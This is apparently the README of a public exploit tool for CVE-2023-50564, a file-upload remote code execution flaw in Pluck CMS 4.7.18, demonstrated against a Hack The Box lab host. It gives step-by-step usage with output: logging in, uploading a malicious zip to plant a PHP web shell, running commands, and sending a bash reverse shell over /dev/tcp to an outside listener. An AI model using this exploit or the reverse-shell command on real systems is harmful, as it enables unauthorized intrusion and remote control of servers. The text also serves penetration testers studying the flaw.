xpltive/cve-2023-50564Pluck-CMS v4.7.18 RCE exploit
CVE-2023-50564 is an RCE vulnerability in Pluck CMS v4.7.18. It is made possible through an arbitrary file upload vulnerability in the /inc/modules_install.php component allowing to execute arbitrary code by uploading a malicious .zip file.
Before running the exploit, the password to authenticate on /login.php needs to be known.
Running the exploit against the target:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
The malicious .php file can be accessed via the link provided by the script to execute commands.
Optionally commands to be executed can be specified using the --cmd flag.
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd id
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Start the listener, then specify a command to establish a reverse shell connection on the listener using the --cmd flag:
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1''
And get connection on listener:
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$
Install the requirements:
pip install -r requirements.txt
Help:
$ python3 exploit.py --help
usage: exploit.py [-h] --target TARGET --password PASSWORD [--cmd CMD]
Exploit Pluck v4.7.18 RCE Vulnerability
options:
-h, --help show this help message and exit
--target TARGET Target URL (Example: http://greenhorn.htb)
--password PASSWORD Pluck password
--cmd CMD Command to execute
Credits to Mirabbas Ağalarov for discovering the vulnerability (Link).